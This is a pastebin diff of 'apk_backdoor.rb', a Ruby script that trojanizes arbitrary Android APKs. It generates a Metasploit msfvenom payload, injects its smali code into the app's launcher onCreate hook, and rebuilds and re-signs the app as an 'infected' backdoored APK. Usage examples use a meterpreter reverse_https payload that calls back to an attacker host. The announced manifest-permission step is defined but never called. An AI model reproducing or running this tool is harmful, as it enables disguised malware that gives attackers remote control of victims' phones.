View difference between Paste ID: r2uDVpjH and dc2LEQJ5

 # HOW TO USE
 # Your dependencies may not have been in order resulting in a broken payload.  Please, follow along by building a developer environment alike this video.  Install Debian 8.2 from the Live XFCE dvd.  Continue by installing the dependencies found on the cheat sheet in http://pischool.com .
 
 # STEP #1: (follow these steps->) https://pastebin.com/y7SCd4tq
 # STEP #2: (follow VIDEO TUT->) https://www.youtube.com/watch?v=uytuVP8f-54&ab_channel=JohnSilvaggio
-#
+# Github --infos: https://github.com/Jack64/metasploit-framework/pull/3
 
 # ------------   SCRIPT BELOW   ------------
 #!/usr/bin/env ruby
 # apk_backdoor.rb
 # This script is a POC for injecting metasploit payloads on
 # arbitrary APKs.
 # Authored by timwr, Jack64
 
 
 require 'nokogiri'
 require 'fileutils'
 require 'optparse'
 
 # Find the activity thatapk_backdoor.rb  is opened when you click the app icon
 def findlauncheractivity(amanifest)
     package = amanifest.xpath("//manifest").first['package']
     activities = amanifest.xpath("//activity|//activity-alias")
     for activity in activities
         activityname = activity.attribute("name")
         category = activity.search('category')
         unless category
             next
         end
         for cat in category
             categoryname = cat.attribute('name')
             if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
                 activityname = activityname.to_s
                 unless activityname.start_with?(package)
                     activityname = package + activityname
                 end
                 return activityname
             end
         end
     end
 end
 
 # If XML parsing of the manifest fails, recursively search
 # the smali code for the onCreate() hook and let the user
 # pick the injection point
 def scrapeFilesForLauncherActivity()
 	smali_files||=[]
 	Dir.glob('original/smali*/**/*.smali') do |file|
 	  checkFile=File.read(file)
 	  if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
 		smali_files << file
 		smalifile = file
 		activitysmali = checkFile
 	  end
 	end
 	i=0
 	print "[*] Please choose from one of the following:\n"
 	smali_files.each{|s_file|
 		print "[+] Hook point ",i,": ",s_file,"\n"
 		i+=1
 	}
 	hook=-1
 	while (hook < 0 || hook>i)
 		print "\nHook: "
 		hook = STDIN.gets.chomp.to_i
 	end
 	i=0
 	smalifile=""
 	activitysmali=""
 	smali_files.each{|s_file|
 		if (i==hook)
 			checkFile=File.read(s_file)
 			smalifile=s_file
 			activitysmali = checkFile
 			break
 		end
 		i+=1
 	}
 	return [smalifile,activitysmali]
 end
 
 def fix_manifest()
 	payload_permissions=[]
 
 	#Load payload's permissions
 	File.open("payload/AndroidManifest.xml","r"){|file|
 		k=File.read(file)
 		payload_manifest=Nokogiri::XML(k)
 		permissions = payload_manifest.xpath("//manifest/uses-permission")
 		for permission in permissions
 			name=permission.attribute("name")
 			payload_permissions << name.to_s
 		end
 	#	print "#{k}"
 	}
 	original_permissions=[]
 	apk_mani=''
 
 	#Load original apk's permissions
 	File.open("original/AndroidManifest.xml","r"){|file2|
 		k=File.read(file2)
 		apk_mani=k
 		original_manifest=Nokogiri::XML(k)
 		permissions = original_manifest.xpath("//manifest/uses-permission")
 		for permission in permissions
 			name=permission.attribute("name")
 			original_permissions << name.to_s
 		end
 	#	print "#{k}"
 	}
 	#Get permissions that are not in original APK
 	add_permissions=[]
 	for permission in payload_permissions
 		if !(original_permissions.include? permission)
 			print "[*] Adding #{permission}\n"
 			add_permissions << permission
 		end
 	end
 	inject=0
 	new_mani=""
 	#Inject permissions in original APK's manifest
 	for line in apk_mani.split("\n")
 		if (line.include? "uses-permission" and inject==0)
 			for permission in add_permissions
 				new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
 			end
 			new_mani << line+"\n"
 			inject=1
 		else
 			new_mani << line+"\n"
 		end
 	end
 	File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
 end
 
 apkfile = ARGV[0]
 unless(apkfile && File.readable?(apkfile))
 	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
 	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
 	exit(1)
 end
 
 jarsigner = `which jarsigner`
 unless(jarsigner && jarsigner.length > 0)
 	puts "No jarsigner"
 	exit(1)
 end
 
 apktool = `which apktool`
 unless(apktool && apktool.length > 0)
 	puts "No apktool"
 	exit(1)
 end
 
 apk_v=`apktool`
 unless(apk_v.split()[1].include?("v2."))
 	puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
 	exit(1)
 end
 
 begin
 	msfvenom_opts = ARGV[1,ARGV.length]
 	opts=""
 	msfvenom_opts.each{|x|
 	opts+=x
 	opts+=" "
 	}
 rescue
 	puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
 	puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
 	puts "[-] Error parsing msfvenom options. Exiting.\n"
 	exit(1)
 end
 
 
 
 print "[*] Generating msfvenom payload..\n"
 res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
 if res.downcase.include?("invalid" || "error")
 	puts res
 	exit(1)
 end
 
 print "[*] Signing payload..\n"
 `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey`
 
 `rm -rf original`
 `rm -rf payload`
 
 `cp #{apkfile} original.apk`
 
 print "[*] Decompiling orignal APK..\n"
 `apktool d $(pwd)/original.apk -o $(pwd)/original`
 print "[*] Decompiling payload APK..\n"
 `apktool d $(pwd)/payload.apk -o $(pwd)/payload`
 
 f = File.open("original/AndroidManifest.xml")
 amanifest = Nokogiri::XML(f)
 f.close
 
 print "[*] Locating onCreate() hook..\n"
 
 
 launcheractivity = findlauncheractivity(amanifest)
 smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
 begin
 	activitysmali = File.read(smalifile)
 rescue Errno::ENOENT
 	print "[!] Unable to find correct hook automatically\n"
 	begin
 		results=scrapeFilesForLauncherActivity()
 		smalifile=results[0]
 		activitysmali=results[1]
 	rescue
 		puts "[-] Error finding launcher activity. Exiting"
 		exit(1)
 	end
 end
 
 print "[*] Copying payload files..\n"
 FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
 FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
 activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
 payloadhook = activitycreate + "\n    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
 hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
 print "[*] Loading ",smalifile," and injecting payload..\n"
 File.open(smalifile, "w") {|file| file.puts hookedsmali }
 injected_apk=apkfile.split(".")[0]
 injected_apk+="_backdoored.apk"
 
 print "[*] Poisoning the manifest with meterpreter permissions..\n"
-puts "[+] Infected file #{injected_apk} ready.\n"
+
 
 print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
 `apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
 print "[*] Signing #{injected_apk} ..\n"
 `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`
 
 puts "[+] Infected file #{injected_apk} ready.\n"
 # ------------   SCRIPT ABOVE   ------------
 # SRC: http://pastebin.com/dc2LEQJ5